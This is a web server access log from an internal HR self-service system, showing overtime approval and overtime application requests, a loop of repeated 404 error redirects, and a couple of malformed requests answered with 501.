/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:37 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.60 - - [29/Nov/2025:10:38:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132626%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132626&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132626%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132626&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [29/Nov/2025:10:38:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [29/Nov/2025:10:38:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [29/Nov/2025:10:38:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [29/Nov/2025:10:38:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [29/Nov/2025:10:38:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [29/Nov/2025:10:38:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [29/Nov/2025:10:38:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [29/Nov/2025:10:38:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [29/Nov/2025:10:38:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [29/Nov/2025:10:38:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:40 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [29/Nov/2025:10:38:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [29/Nov/2025:10:38:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [29/Nov/2025:10:38:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [29/Nov/2025:10:38:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:41 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [29/Nov/2025:10:38:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [29/Nov/2025:10:38:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [29/Nov/2025:10:38:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.60 - - [29/Nov/2025:10:38:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:38:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 100.64.0.1 - - [29/Nov/2025:10:39:37 +0800] "\x03" 501 203 100.64.0.1 - - [29/Nov/2025:10:39:37 +0800] "\x03" 501 203 "-" "-" 192.168.40.60 - - [29/Nov/2025:10:39:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:39:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.40.60 - - [29/Nov/2025:10:39:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:39:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.40.60 - - [29/Nov/2025:10:40:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 29 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:40:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 29 192.168.40.60 - - [29/Nov/2025:10:40:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 532 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:40:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 532 192.168.40.60 - - [29/Nov/2025:10:40:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 532 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:40:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 532 192.168.40.60 - - [29/Nov/2025:10:40:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:40:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.40.60 - - [29/Nov/2025:10:40:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:40:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.40.60 - - [29/Nov/2025:10:40:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:40:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.40.60 - - [29/Nov/2025:10:40:26 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.40.60 - - [29/Nov/2025:10:40:26 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 192.168.40.60 - - [29/Nov/2025:10:40:29 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 